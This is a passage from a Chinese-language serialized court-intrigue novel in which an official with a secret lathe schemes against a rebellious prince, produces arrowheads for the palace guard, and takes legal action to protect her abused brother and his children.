沈修撰站起身看了她一眼淡淡道:“你还是留着这些话到陛下面前去说的好。” 沈年抬起脸向沈修撰傻呵呵咧嘴一笑。 沈修撰捂眼似是无语叹了一声,“我还以为你今日长进了,怎还是这副没出息的模样。” 沈年小心问道:“什么?” “今日你在陛下面前装瘸腿之事,可有人指点过你。” 沈年抿着嘴摇头,“没有,而且女儿还露馅了,幸亏陛下并没有追究。” “如此说只是你误打误撞?”沈修撰见沈年不明白解释道,“若是真正怀有异心的臣子,对陛下的有意为难只会更做谄媚之状以掩盖心虚,你隐隐露出不忿却显得你一心无二。” 沈年一脸恍然大悟:“这当中还有这么多门道,真是要多谢母亲赐教了。” “起来吧。”沈修撰无奈挤了挤眼道。 沈年站起来跟在沈修撰身后出了祠堂:“今日未上朝,母亲怎知道的这般清楚。” “宋昭佛来府中告知于我的。” “母亲与宋大人不是先前有积怨,她怎么来跟您说这些了。” 沈修撰语气沉重道:“眼下危机重重,为匡扶社稷从前的恩怨自然可以暂且割下,各州县今年冬日的粮食若筹措不到,倒时民怨四起就会滋生民变,到时候可真是要天下大乱。” “女儿可以带工部众僚制一些用具卖出去筹钱。” 沈修撰摇头:“来不及,而且如今粮食各处都缺,就算是有钱也买不到多少,眼下手中有粮能渡此难关的只有霁王。” “她怎可能将粮用做赈灾?” “所以最迟在寒冬之前,务必要将霁王平定。” 沈年停了下脚步,“那最多只剩两个多月了。” 沈修撰捏了捏沈年的肩,“我在祠堂中请列祖列宗保佑,当年科考之时我便跪在祠堂中求愿,往后愿有前日之幸吧。” 从廊中穿过,沈年瞧见沈父正站在树下,她走到近前唤了声父亲。 沈父亲近的抬手摸了摸她的鬓发,“年儿回来也不早说一声,为父好为你备些吃食。” 沈年偏偏头躲开:“前几日闲着,林郎为我做了许多,日日都用倒也不馋嘴。” 沈父捏起帕子拭泪:“一张口就提起那林氏,年儿倒是顾念他不愿见我,将人带走娇养在院中,丝毫不顾念为父也不愿听你提起他,年儿可是我的骨血所蕴,孰轻孰重年儿心中应仔细掂量掂量。” “我是父亲的女儿,并非父亲的情人。” “你这孩子,怎忽然说出这违背人伦的话来。”沈父惊骇的后退几步,慌张屏退身后小侍瞪大眼睛道。 “女儿哪里说错了不成?”沈年叹气看了沈父一眼,“父亲在母亲身上丢失寻不到的,不该转寻到女儿身上来,若要化开父亲的心病要从母亲身上寻药。” 沈父似是雨后湖面中的水泡,乍然间被戳破气碎掉激起一圈圈涟漪,他面中淌着一行行泪,背身快步离去,自言自语一样喃喃道:“这孩子真是做官做到脑子糊涂了,怎可妄议父母之事。” 沈年又往侧君院中去了一趟,侧君笑着迎她,几次谢她为沈岳留心选了个好人家。 “从宛她的聘礼估计要多攒几时,她的心气若我给了她银两真算是折辱了她,侧君安心,我已跟母亲说明了此事。” 侧君笑道:“不妨事,罗娘子的品行聘礼少一些也无碍的。” 沈岳摆弄着他的药草怪道:“爹爹,哪有您这样上赶着的,你们都瞧着她好,我看着也就那般。” 沈年一脸焦急凑过去问:“你们二人当中是不是有何误会。” 沈岳:“没有,我眼睁睁瞧见能有什么误会。” “你瞧见什么了?” “我才不稀得讲她那些事。”沈岳撇嘴白了一眼,转头向沈年问,“阿姐与姐夫日后还回府中来住否?我倒觉得与姐夫相处投缘,他一走我连个说话的人都没有。” 沈年:“应当不回来了,你同阿姐说说你到底瞧见什么——” 没等她说完,沈岳又打断问:“我想随阿姐去院中和姐夫住几日。” 沈年慌忙站起来挠了挠脑门,“不行……不行,我近日交代了事给他做。” “那真是不巧了。” 沈岳失望道了一句,之后沈年再如何问他,沈岳也是三缄其口不愿言说。 天色渐晚,沈年唤了两位林闻溪惯使的小侍跟着打道回府。 林闻溪坐在院门前廊上的栏杆等沈年回来,见她身后只跟着两位沈府的小侍并没有什么武师,暗自窃喜一下扑到沈年身上迎她回来。 “三娘怎一出门就是一整日,我为三娘做了几个新菜都放凉了。” “回了趟府中路途远,才回来的晚。” 林闻溪将人迎回屋中,沾湿了帕子给沈年擦脸,“今日外头递了许多请帖进来,三娘一会瞧瞧要不要紧。” 沈年坐着仰起脸,抬手捏了捏他的脸颊交代道:“不必理会,眼下还是不要出门招摇的好。日后京中恐要乱一场,我往后要在司中赶工怕不得空回院中来,要委屈你留在院中闷两月,跟着小薇学几招,待来年开春我再带你出门。” 林闻溪覆上她的手背,“怎不让她跟着三娘,又来教我?” “今日听母亲所说,我想着院里还是要留个信的过的人才好,我身边的如今不缺人,我今日瞧你在祠堂门前撞的木框子,你有些力气好好跟着她学,往后万一出什么岔子被困住,也不会再将自己的肩撞伤。” 林闻溪半蹲下身,乖乖朝沈年点头,“我不会让三娘有后顾之忧,怎三娘去了宫中一趟回来就交代这些话,该不是陛下给三娘命了什么险差?” “未雨绸缪,总归是没错的。” 沈年起身拉着林闻溪坐到案边用饭。 “日后不必等着我,天黑我还没回来,你就自己先吃。” 林闻溪勉为其难应声,夹了块粉蒸肉到沈年碗中。 “三娘以后夜里也不回院了么?” “往后或许四五日回来一趟。”沈年瞥见林闻溪脸上落寞的神色,将肉夹起放进嘴巴里咬了一口,连声惊叹,“林郎做的菜真是什么山珍海味都比不得,得此贤夫,夫复何求啊!” 林闻溪被她打趣的面中生热,用膝轻碰了下沈年的腿,“三娘莫再说了,叫人听去怪怪的。” 沈年得逞收了声,将菜碟推倒林闻溪面前,“不是我胡夸,林郎也尝一口。” 院里省着灯烛用,入了夜二人在一盏蜡下各自忙手中的活计。 沈年凝神咬着笔杆作画,林闻溪包了几盒糕点给沈年明日带去司中,理好这些又为沈年做入秋的衣裳。 一直到夜半三更,二人才一同入塌安寝。 沈年不喜人搂着她睡,林闻溪平日里只握着她的手腕依偎在身侧,待沈年睡沉了才又揽上腰抱着。 回京后夜夜与沈年同寝,他想想日后要独守空房便难以入眠,摸着沈年的眉眼摩挲,偷偷在她唇边亲了又亲。 以至于沈年是被他的呼吸弄的痒醒的,睁眼见林闻溪的嘴巴就贴在她很近处,半条腿还勾缠在她身上。 沈年见人合眼安睡的模样,真不知他是不是故意的。 她无论如何是再也睡不着了。 林闻溪只迷糊觉得胸前有点湿热,觉着不适本能伸手推了推,摸到沈年的侧脸,他辨的出来是她。 他半梦半醒只觉得自己在做什么荒唐的梦,唤了声三娘,而后一手环抱着她的后颈,一手按着她的脑袋。 “你这是醒了还是没醒。” 他听见声音恍眼半张了张眼,瞧见沈年模糊的脸,仰起脑袋吻了上去。 他很不清醒,又接着被她亲的晕头转向,腿上的衣料早已不见,他蹭蹭沈年的腰请求。 这场梦实在做了很久。 一直听到声鸡鸣,他才中沉沦中抽回神来,沈年靠在她肩头平缓气息,他抚着她散乱的发丝享受此刻的平静。 他听见沈年弱弱叹了一句:“美色真是误人。” 他轻轻笑了声,这个时候语气温柔的滴水:“三娘觉得我有美色?” 沈年从他肩头抬起脸微点了下头,“你自然好看。” 林闻溪拢了拢她耳边的发,“就当是三娘不回来补给我的。” 沈年没让他下榻,独自起身打理好衣裳出门。 推开最后一扇门前,林闻溪只披件外衫,未穿鞋袜赤足跑过来不舍抱了抱。 “三娘得空回来瞧我,我会想三娘的。” 沈年点头不敢再多言语,将他探出门外的手推了回去,而后将屋门合上。 林闻溪在窗缝中望见她出了院,回身到榻上抚着被中残留的温热。 60 第60章 ◎权臣◎ 秋日将近行至往朝殿的长街上有丝微冷,沈年一身正红朝服配上她那朝气轻扬的桃花面分外惹人眼。 能在这个年纪穿上这身官服的,她实在是本朝史书上数来的头一个。 且这位在朝中素有个好相与的名声。 她一人半低着头边走边凝神在空间中试做箭头的车刀,被人轻碰了一下回神抬起头来。 是几位满脸堆笑的朝臣。 “小沈大人这是在凝思何事,连我等的贺声都未曾听见?” 沈年礼貌回笑脸道:“只是寻常公务。” “小沈大人为国谋事真是不辞劳苦,这上朝路上都如此潜心苦思,真叫我等自愧不如。” 沈年一脸正经的回道:“陛下病体未愈还依旧勤勉上朝才是不辞辛劳,几位大人这话我实在不敢当。” 几人笑了几声,又跟着附和道:“小沈大人说的是,陛下勤政不倦实是众臣之表率。” 沈年抬眉点头,几官又出声问:“昨日着人去大人府上递了帖子,不知可大人可得空一会?” “几位大人府中有盛事,我到时一定奉礼相贺。” 沈年这话说的含糊其辞,几官追着她走一时缠问,身后的罗从宛唤了她一声,几官回头瞧见了她便慌忙间尽散。 罗从宛因先前那桩丘陵川的重案,背上了个“铁腕判官”的佚名。 朝中众官或多或少都有些不能拿到台面上讲的隐事,故而个个见了她便躲。 待她走过来,沈年向她道了一声谢。 罗从宛望着几人脚步匆忙的背影无可奈何道:“这斩令可都是陛下授意下的,当时斩那些风宪司余孽时朝堂上还个个称快呢,如今倒给我添了这么一个名头。” 沈年眯眼向她笑道:“这可不是什么坏事,陛下缺的就是这样的臣子,从宛凭此崭露头角往后要一路青云直上了。” “沈妹说的话一向应验,如此就借沈妹吉言。” “你还唤我什么妹妹,今后要跟着岳弟唤我声阿姐才是。”沈年靠近用手肘杵了一下她的胳膊,“我昨日去府中同岳弟说了话,他说亲眼瞧见了你什么事,你细想想这当中像是有什么误会。” 罗从宛转了转眼珠摇头,“自你从府中搬出去独住,我便甚少踏足沈府,着实是想不出能令他看见什么值得怄气的事。” 沈年哀叹一声,默默嘀咕道:“你们两位不会又得像书里一样得误会数年” 罗从宛没听清她所言,正了正脸色小声道:“先不谈这些儿女情长之事,你托我寻的人我昨日已经找好探子,不过天地茫茫不知从哪处开始寻的好。” “从宛初到京中势单力薄,从何处寻到的探子?” 罗从宛压低声音:“是从前风宪司的探子,霁王构陷她们,她们正有仇没处报,正好用来做这桩事。” 沈年点头一想;“他入城留的籍地是永州,此人行事隐秘,留下这痕迹定是不会再回永州,兰城自是也不会再住。他一个男子在外孤身在外那双手养的却是白净,身侧定有侍从服侍,要如此藏他还护着他的人,只有刘知夷。” 罗从宛一点即明:“他的藏身之所定是刘知夷安置的,只要去查刘知夷在何处买过宅院就能找到他。” “刘知夷一定是改换了身份去置院子的,这当中就要花心思去找了。” “总归比先前大海捞针要好的多,”罗从宛拍了下她的背笑道,“且这是京中官员敛财惯用的手段,这些探子查起这些事来得心应手的很。” 二人相视一笑进了殿门,沈年做了殿前司按例站在殿前几列,在她身前站着的就是霁王。 沈年秉着脸目生寒意的盯着她的后背,霁王似乎是察觉到她的眼神,转身过来面皮上摆出一抹浅笑。 “久在这朝堂之上,竟曾未与沈大人有过只言片语,沈大人遭逢凶案,不知伤可痊愈。” 沈年收回表情颔首一顿道:“劳霁王殿下关怀,死里逃生一回如今已然痊愈,我的资历尚浅,忝居此列日后还请殿下多加照拂。” 霁王抬手抖了抖衣袖,语气谦和道:“沈大人是社稷栋梁之才,本殿不过是个喜爱游山玩水的闲散之人,如何照拂的了沈大人。” “殿下是皇室宗亲,天家血脉,自然不是我们这些为人臣子的所能相较的。” “沈大人可当真是恭谨,本殿倒是欣赏。” 霁王眼神晦暗不明的注视着她说着最后两字。 宋昭佛已查了霁王半年之久,霁王不可能没有察觉,彼此早已是心知肚明,此言沈年听来是拉拢她倒戈之意。 霁王眼下胜算显然更大,只是看见霁王的脸,沈年总忍不住浮想霁王提刀将刘知夷刺死的画面。 能亲手将刀刺进自己枕边人的心口,此人的心是何等凉薄狠恶。 听着她嘴中吐出的欣赏二字,沈年只觉得一阵恶寒,无言以对只抬眸朝她淡漠一笑。 陛下临朝后,朝中议起立秋之日祭稷神的仪典,立秋日陛下携百官去田间以三牲祭神,以求来年风调雨顺,丰收安定。 礼部的老臣出来奏道:“陛下去岁未曾亲临祭祀,今岁各州县频报旱灾,收成大减,是故今岁的祭神仪典陛下定要躬亲前往,且这仪典要比往年办的更为隆重才能让上苍感召,来年为我朝赐雨赐福。” 陛下在阶上闷声咳了两声,“朕一副病躯,去祭礼恐触怒了稷神,不如礼部择一礼官代朕前往。” “陛下带病亲往,稷神应更能感念陛下的诚心才是,陛下是天定之主,普天之下气运最盛,礼官哪有此等福运能代天子祭神。” 陛下一时不言,阶下内官奉了几碗汤药故作拖延。 祭祀的田间地形一马平川,一旦被围困无处可躲,轻易就可被乱箭射死。 沈年听着汤匙碰到碗底的清脆声响,在心底想原自己先前猜错了,陛下生病并非是被霁王吓的,而是为了躲这一桩。 陛下一夕之间被推上帝位,能支撑三年并非只是幸运。 她正想着,身前的霁王竟迈步站到殿中开口奏道:“先帝在时,臣便曾代先帝行过祭礼,陛下汤药不离手此时还应以御体为重,臣愿代陛下主持祭祀仪典。” 霁王先前在朝堂上与哑巴没什么不同,即便堂上争辨的如何激烈,她都似听不见看不见,默然站着从不吭声。 霁王忽然浮出水面,定是要有所动作。礼部着意提起要将仪典大操大办,定需大批运物调人,若落到霁王手中那运的真不知会是什么东西。 霁王明面上与先帝姊妹和睦,先帝在时常命她代行礼节仪典,她一站出来,没有比她更好的人选。 果不其然她的奏言一出,不知内情的朝臣纷纷和声同意。 陛下一时进也不是,退也不是,咳声听着更重了几分。 沈年打破沉寂站出来道:“礼部提议要办的隆重,那祭台就需翻新修缮一番,还有礼器也需重铸……这些事项都要与工部统筹协作,霁王殿下久不问朝政,走动起来定是生疏,臣愿同霁王殿下一同合力为陛下解忧。” 不等朝臣出言,陛下止了咳声迅速接话回道:“朕记得在正是在京田水车建成之日天降大雨,且沈爱卿有神鸟之名定能担当此任,为我朝请来天佑。” 这话合情合理,百官并无人能提出异议。 “如此,这仪典便交由霁王和沈爱卿共同主持。” 陛下拍板定下此事散了朝,霁王波澜不惊的朝沈年看了一眼,“本殿一直想亲睹沈大人的神通,今日也算得偿所愿。听闻沈大人广交善缘,往后一同共事说不准本殿与沈大人能结为至交。” 沈年闻言木着脸不语,似乎她怎么走都会落入霁王的局。 霁王笑着拂袖往殿外走出去,沈年振起精神往官署中寻徐珞宁。 她这人瞧着没谱,办的差事一桩桩都滴水不漏。 一见面扔给沈年几本厚册子,上面密密麻麻记着她替沈年选的官,从籍贯生平,家中人丁以至于祖上三代都记的十分详细。 她翘着脚喝沈年桌案上的茶,“如何,可有不妥之人?” 沈年合上册子摇头,“你选的人怎会有不妥,这几位现在何处?” “有三位就在官署,剩下五人都遭排挤贬到外头去了,不过不算太远,若召回最多五六日便可回京。” “我待会便拟调令,先将那三位请来。” 徐珞宁点头出去,半刻后将三人召到工坊。几人都同徐珞宁一样出身世家,徐珞宁一一引荐。 几位都不是善阿谀奉承之人,三言两语就议起正事:“不知沈大人召我等有是为何事?” 沈年指了自己身后用遮布盖着的大半个人高的四方块,郑重其事的盯着几位的脸说:“布下之物恐几位大人看了会惊跳,故提前告知几位大人,这里面不是寻常之物,且绝不可向外人透露。” 徐珞宁踮*起脚尖向后瞧:“到底是何物,要你这么卖关子。” 几位也跟着探头道:“沈大人安心,我等定会恪守诺言,不对外说半个字。” 沈年又不厌其烦将话重复几遍后才转身拽下遮布,露出一台车床来给几人看。 几人还是被吓了一遭,围在四周惊掉了下巴。 “沈大人这般大又齐整的铁块从何处弄来的!” 一人小心翼翼碰了下上面的转轮倒抽一口冷气道:“这可不像是人间的凡物。” 沈年一早想好了说辞,“这当然天上的神器。” 几人又抬起眼来看她,“如此说那些玄乎的传言都是真的了。” 沈年脸不红心不跳的点了下头。 “这神器是做何用的?” “这待会我会教与几位大人。”沈年板正着脸神秘向几人又说,“我选中了几位大人助力于我,已是泄露天机,若几位大人再不慎走漏消息的话,我们可会一同遭天谴的。” 几位闻言慌忙摇头起誓,“此乃我等莫大荣幸,断不会背信违誓。” 沈年满意点了下头,毕竟陛下本就对她忌惮,若知道此物可真要坐不住了。 沈年又唤几人围着坐下,做起了教书先生。 几人听的潜心,但到底是要磨手上的工夫,不是一时半刻便能出师的。 一直到午膳时候,几位才从工坊中推门而出。 门口探头探脑的等着不少工部的人,数人堵住其中一位问:“沈大人唤你们一整日在里头作何?” 那人掩着面故作抱怨道:“沈大人吩咐了件棘手的差事,办不成掉脑袋的,你们若想要,我转手于你们如何?” 围着的人闻言纷纷摆手道不要,说着便要走。 沈年在里面支着脑袋歇息,闻声唤几人进来。 几人点头哈腰走进来,格外识眼色覆上沈年的额间按揉,“沈大人忙于公务疲惫,不如随下官去外面酒楼中喝一杯解乏。” 沈年摆摆手坐起来,“还有祭典之事未定,我哪里有空去。” 一人道:“霁王才着人过来请工部派人去修缮祭台,各司等着讨沈大人的示下,不知沈大人欲派哪位官员前去?” 沈年环视一圈面前几人一笑:“几位大人机敏灵巧,我看着正是合适人选,不知几位大人可愿前往?” 几人的脸笑成花:“能为沈大人效力,我等自然是求之不得。” 沈年招手示意几人附耳过来道:“修缮祭台是其次,陛下今日在朝上似不想允霁王的奏请,若你们能迎合圣意,自然少不了陛下的赏识。” 闻言几人很快计上心来,向沈年一拜离去。 沈年塞了几块林闻溪昨夜让她带的糕点,在阁间中眯了半刻,午后又回了工坊教习。 瞧几人大略可上手后,留了一直跟在她身旁学艺的那小姑娘在,她如今也能算个小师傅。 她得以脱身往城门中去,领了这殿前司的职还一直未去。 她的上官九门提督是三朝老臣,先帝猝然崩逝连立储遗诏都未来的及写毕,正是这位老臣一人镇守京城,派禁军一路将远在兰城的陛下迎回京中的。 60-70 61 第61章 ◎盛气◎ 那老臣已年过古稀,披着一身金光粼粼的铠甲,肩头被有点压的塌下来,两鬓斑白但仍可见当时风采。 她正握着刀柄,扶这城墙远望。 “恕下官来迟了。”沈年走到她近前俯身一拜道。 老臣转身抬手请她起身,不苟言笑的看着她的脸,眼神落到她的一身鲜亮的红袍,喟叹道:“殿前司青春正茂,不似我已是垂垂老矣。” “燕大人无需妄自菲薄,下官不过是借了天运,若是不是靠这命运巧合如何能与您同列。” “臣下作乱,百姓凋敝,眼见着大厦将倾,若不是天命贵子如何救的了这危局。” 沈年垂首躬腰道:“下官不过尽些绵薄之力,不敢居功至此。” “我人虽老了耳目还清明着,看的出殿前司是位良臣,何况陛下同老臣说过,殿前司是有功之臣,不必谦虚。” 老臣说罢按了按沈年的肩,领着她往武库中去看。 “眼下人心浮动,霁王一旦发动宫变,京畿附近的军马定会隔岸观火,若霁王成事便可打着诛杀叛王的名义进京夺权,若陛下与霁王两败俱伤则可以勤王之名挟持天子,拥兵自重。”她沉重走在前面说着,停了停脚步,“禁军是皇城的唯一的剑和盾,不只要能守也要能攻。” 沈年闻言紧绷着脸从袖中掏出一只箭头,“这是下官所做的箭,比现在寻常的箭头射程、穿透力和精度都要高上至少三成,一箭可穿破铁甲。” 老臣接到手中细看,“当真是只好箭,皇城内的禁军有独立的武库和工匠,日后就交到殿前司手中。打造军械的采买用度,殿前司拟好公文送来,本官自会命人去办。” 沈年点头:“下官明白。” 武库门前有禁军把守,一重重门锁打开才入到里面。 一穿着铁甲的校尉交给沈年一本簿子,沈年翻开看是武库的记档。虽看着数量充盈,但大都是堆积数年的陈旧兵器。 沈年往里面走进细看,有些箭矢刀刃上都生了铁锈,甲胄上的鳞片也出现脱线的情况。 她皱了下眉问:“这些平日无人维护?” 校尉道:“饷银短缺,人和银两都先用到别处了,这些东西只好搁置在此。” 沈年看向提督:“眼下先拨些银两着人来修补三成以防不备如何,我制的新箭要充库还需时日。” 提督点了下头问:“殿前司造一万支新箭要多久时日?” 沈年在心中算了算,待两三日后工坊中的几人熟练,单台普车大约可日产约百个箭头,加上她用的那台数控车床,造一万支箭大约需八日,若是夜里多加一两个时辰的话,可以缩短到七日。 沈年回话时,为自己留了些余地,只说需九日。 “只需这么短时间?”提督闻言一振。 “下官不敢虚言。” 提督兴奋拍着沈年的肩头开怀笑道:“幸甚至哉!幸甚至哉!” 她穿着一身重甲,将沈年拍的趔趄一步。 武库中的众人看见呵呵笑起来,沈年扯着脸羞涩一笑:“下官不通武艺,让几位见笑了。” 提督笑道:“殿前司可以一当百,只是我们这甚少来个文人,不当心下重了手,殿前司勿怪。” “无妨。” 送走了提督,沈年在武库中一直清点到夜半,出来时已是明月高悬。 她不知为何并无倦意,顺着石阶登上城墙,京中的千家万户尽在眼底,虽已是安歇之时,但零星还亮着几盏灯笼,月光下一切静谧安然。 她往院子的方向去望,依稀能瞧见亮光。 辨不清那亮光到底是那间院子,她倚着墙静静看着。 不知林闻溪有没有听她的话按时安歇。 她一直站到起了夜风,身上发冷,才从城墙走下,回到值守的阁中睡下。 沈年一走五日都未曾回院中,林闻溪接连几夜难眠,天微亮时熬的头痛,窝成一团坐起来盯着木窗出神。 几日来学的四肢酸痛,他有一下没一下的按揉。 问守院子的侍卫总是那几句话“沈大人公务繁忙。” 他哀怨叹了口气,从前在兰城时沈年也事务缠身,但午间还有空回来瞧他的病。这回不光五六日不回来看他一眼,连个口信也没托人捎回来过。 忘了有他这个人在一样。 当真是不同往日了。 他郁郁想着,不曾低头注意手上的动作,一指甲刮破了点皮。感觉到痛,他低头看着腿上泛红的地方,生出一股无名火捶了好下床。 下榻去翻药箱,如何也不记得放在了何处,一顿乱翻没寻到要,桌案上的青玉簪子倒滚了下去,细碎的声音吵的他心烦,一抬脚踢到墙角碎成两段。 白石听到屋里的动静,慌忙起身过来推门,看到案上一片狼藉,着急问道:“郎君这是要寻什么?” “找药。”林闻溪极力压着火气,喘着气坐在塌边。 “这瓶不就是。”白石拿过来蹲身下去想为他擦药。 林闻溪从他手中接过:“我自己来就好,你回去便可。” 白石瞧了他一眼欲言又止,无奈点了下头往屋门中去。 “你说三娘她会不会是在外面有了别的男人?” 白石半只脚迈出屋门,又听到林闻溪没头没尾的问了一句。 “三娘子疼爱郎君,怎么会?郎君你这人的毛病便是爱多想这些有的没的。” 林闻溪缓了口气重复念了几遍白石的话,放下手中的药瓶,站起身穿衣裳:“三娘疼爱我她是疼爱我,我不该多想她这些,她答应我三四日便回来看我,或许今日她也就回来了,我该去做点三娘爱吃的东西才是。” 白石摇着头跟着出去。 到日中桌案上摆好了碗筷,林闻溪盯着汤中飘出的热气,一点坐不住,时不时起身到庭院中瞧门框有没有动静。 但长久的没有任何响动。 白石在旁瞧着劝道:“要凉了,郎君吃几口吧。” 林闻溪心灰意冷的站起身,边往屋中走边道:“撤下去吧。” “郎君今日还没练功呢。” “我身上酸痛,同小薇说一声今日不必等我。” 白石看着他的样子发愁,但这时候旁人劝他,他是听不进去的。 白石心里期盼着沈年快些回来,低头道了一声是。 午后风起的时候,院门口传来几声车马的声响。 白石忙不迭去开门,林闻溪也跟着兴冲冲从屋中快步出来,“可是三娘回来了?” 一开门却是沈季牵着两个孩子,林闻溪一瞬失望垮了下脸,而后又恢复神色道:“兄长怎有空过来。” 见沈季脸色哀戚戚的不说话,林闻溪拉着他的胳膊热络道:“兄长这是遇到了何事,快进来说话。” 白石和两个小侍将孩子抱下去哄睡,林闻溪将沈季带至房中,给他泡了一壶茶,小心问道:“阿兄还好吧。” 沈季眼眶一红流下泪来,“那边府里我实在没法子呆下去,回沈府又恐被人说三道四,只好先到这里避一避,实在是扰了你清净。” “兄长说这话就见外了,三娘说了会护着兄长,兄长安心在此住着就是。” 沈季哭的伤心,喘不上来气后背直抽抽:“那位说妹妹在眼下外面风光无两,提拔了不少人进京,非叫我去寻妹妹的门道,说要当什么禁军校尉,我不依她便动手打了我,府中的侧室还趁机要害我的阿囡,差一点溺毙在水中。” 林闻溪气的厉害,“她竟敢对兄长动手,还有那侧室也太无法无天了,有三娘在他们怎么敢的。” “她说若我敢说,便休了我回府,我的两个孩子留在那里能活几日,今日是我寻机会带着孩子逃出来的。” 林闻溪拍着沈季的背,听的心梗,“不必怕,她如何舍得休了兄长,我现在着人去给三娘传信。” 沈季拉住他,“妹妹忙的没日没夜,这事还是不必去烦扰她,我在此住几日,或许她们便会俱,若着人来请我回去也就无事了。” 林闻溪坐下细想一番,“此事闹大了与兄长确实不好,她们发现兄长不见定会追过来的,待她们来了我替兄长出这口恶气。” 沈季感激的抬头看着他道:“妹夫不嫌弃我,还如此替我忧心,我真有些羞愧了。” “我与三娘如此顺利搬出府,不也是兄长的功劳,实在不必同我客气。”林闻溪倒了一杯热茶给他,“兄长先喝口茶缓缓气。” 沈季抬手拭干眼泪点头。 不多时那府的马车便停在了院门口,砰砰的敲着门。 门一开便是女人一张焦急的脸,林闻溪冷着脸道:“原是嫂子,不知上门有何贵干?” 女子向里头探脸问道:“沈季可在院中?快唤他出来。” “兄长?我可没瞧见他。” “我问了旁人都说往这里来了,何况他的马车不还停在这。” 女子说着要往院门里迈步,被小薇一把推倒跌在地上。 “我们郎君说没见着便是没见着,是耳朵聋了不成。” “你这刁仆,我寻我府上的人有你何事!”她爬着站起来,高声喊着沈季的名字,“他和我成了婚,便是我府上的人,他私逃出府可是大罪,奉劝妹夫尽早将人交出来!” 林闻溪弯着嘴角笑了笑,“你这是要治我的罪不成?” 女子见状装做和气道,“我只是想寻我的郎君,一时糊涂,妹夫莫当真。” “莫当真?你当门口的侍卫是聋的。” 林闻溪翻了个白眼冷笑一声,转头向门口的侍卫道:“有人在院门口闹事,三娘走前如何吩咐的,几位大人便如何处置吧。” 说罢便重重合上门,听到外头一阵拳打脚踢的声音,还有那女子的嚎叫。 “你们这是以公报私,藏匿我府上的郎君和孩子,我定要去官府告你们官司。” 女人气急败坏的在门口喊叫,林闻溪懒得理会,转身准备走。 忽然听到日思夜想的声音。 “告官司?你要告谁的官司。” 他迈步过去一瞬将门打开,几日不见沈年周身添了一种高不可攀凌厉盛气,居高临下的盯着地上鼻青脸肿女子问话。 女子攀着沈年的衣角,挤出笑脸道:“贤妹可算回来了,你兄长今日不知为何忽然一声不吭带着两个幼子过来,我正想进去问他是何故,谁知一句话惹了妹夫不悦,将我伤成这般。” “有这回事?”沈年温和看向林闻溪问。 “是她闹事在先,何况兄长受了委屈,哪里是她说的什么不知为何。” 林闻溪走过来假装不经意踢了踢那女子的胳膊,“这可是官袍,不是轻易能摸的。” 62 第62章 ◎沈季上门◎ 以沈季的性子,若不是受了天大的苦楚,是断不会拖着两个孩子求到她门上的。 沈年闻言蹙眉,伸手一扯衣摆,目光凛凛的盯着那女人的脸剜了一眼。 “夫妻间拌嘴吵闹是寻常事,妹夫说的言重了,不如快将沈季唤出来跟我回去,免得在此惹的两家人都被议论。”那女子心虚的说,“贤妹回来便好生管一管他,他如今是越发失了规矩……” “闭嘴。” 沈年无心听她胡言诡辩,沉这脸冷言训了她一句。 女子被定住一样,半张这嘴戛然止了声音。 沈年偏过脸问林闻溪:“阿兄他出了何事?” 林闻溪迟疑一瞬,扯了扯沈年的袖袍示意她到院中说话。 沈年跟着了院里,林闻溪虚掩上门同沈年小声切切将沈季的哭诉一字不落讲了一遍。 见沈年气的要夺门出去踹人,被林闻溪拦住,“那女人到底下手不重没在兄长身上留下证据,兄长的两个孩子也是随那边府里姓,三娘再打她一顿也不济事,不如趁早去府中拿了那个侧室来,免得他闻风将害人的痕迹都抹的一干二净。” 沈年冷静一想,在这书中男人被自家娘子典当发卖都不是什么稀奇事,官府并不会管,更不用说沈季只是被打了几掌。 一时半会是与这女人牵扯不清的,不如先扣住那个侧室,也可拿他做这女人的文章。 沈年唤了一声外面的跟着她的女使,女使从门缝中提着一食盒进来,沈年接过来交到林闻溪手上,“前两日听你说想吃兰城的烧鱼,我昨日在一小馆子里尝了这鱼觉得相似,便给你买了来。” 林闻溪打开木盖子一股香味飘出来,鱼还热乎着。他喜笑颜开将先前哀怨沈年不回来瞧他的事情抛之脑后,将木盒放在一边牵上沈年的手揽着她后背抱着。 “三娘是专程回来瞧我的?几日不见,我有些想你。” 沈年摸了下他的背上的线条,“看来近几日有好好练功。” 林闻溪被她几个字夸的勾的弯起嘴角,心满意足将手指在袖中与沈年十指紧扣,他绯红着脸,真注视沈年的眼睛,眼波流转轻声问:“三娘一走,今夜可回来?” “回来。”沈年推着他直起身。 林闻溪虽隐隐觉得沈年有丝冷淡,但还是忍不住雀跃点了下头。 “那我替三娘留着门。” 沈年应了一声松开他的手,出门时那女子已然不见,沈年在途中拟了一张状纸,一路疾驰去了京兆伊的府衙。 门口的值守的衙役见沈年大步流星的往面前走过来,忙迎上去问:“不过是一桩小事,京兆伊大人自有分寸,沈大人何须亲自过来一趟。” “何事?”沈年疑惑问。 “沈大人不知?伯爵府的二娘子正在府衙中告状,诉她的郎君儿女不见了踪影,请府衙着人去沈大人府上寻呢。” 沈年冷笑一声,“她倒还真敢来。” “沈大人不如随我等去内间用杯清茶,待京兆伊大人打发了那女子我等便前去回禀。” “不必劳烦,我是来替家中兄长报案的。”沈年抽出袖中的状纸,“伯爵府中的侧室欲将我那小侄女推入湖中假做意外溺亡,有我小侄女的证词。” 衙役闻言不敢怠慢,引着沈年往堂中去。 她迈步进里,堂中的一干人都识沈年的面,纷纷扭脸将目光移到沈年身上。 京兆尹舍下正站着状告的女子,站起身笑问道:“沈大人怎得空来此?快请上座。” 沈年笑着颔首回礼,偏头打量了那女子难堪的脸一眼,“今日是为家兄报案,日后再与大人同座闲叙。” 跟在身后的衙役将状纸呈到京兆尹手中,京兆尹展开纸一念拍案道向堂下女子道:“沈大人告你府中侧室意图残害其兄幼女,其兄为护两子才离府到沈家暂避,并非私逃。” 女子并不知此事,闻言惊怒的看向沈年问:“侧室残害小女?可沈季并未向我说过此事。” 沈年瞪着她觉得可笑:“你动手责打他,阿兄如何还会同你说什么。” “我不过一时着急而已,并未下多重的手,他怎将这事同贤妹说了?” “并未多重!”沈年讽笑了一声,抬腿走到她面前步步紧逼,“我兄长在沈府千尊玉贵的养大,到了你们伯府要受这样的屈辱,他如何不能说!怎么?你打算要一纸休书休了他!” 女子咽了下喉,惊慌道:“不不不会,我与沈郎夫妻多年,我怎舍得休了他。” 京兆尹从案前下来走到堂中按了按沈年的肩,“沈大人护兄心切也莫要太气急。这侧室以下犯上,谋害正室嫡女,罪大恶极本官这就着人去伯府捉拿归案。” 女子闻言赶忙出言缓和道:“我们如何也是个伯府,回府后我自会处置那侧室,好好跟沈郎赔罪。我看还是不必惊动官府,闹出太大动静与沈家和伯府都不利。” 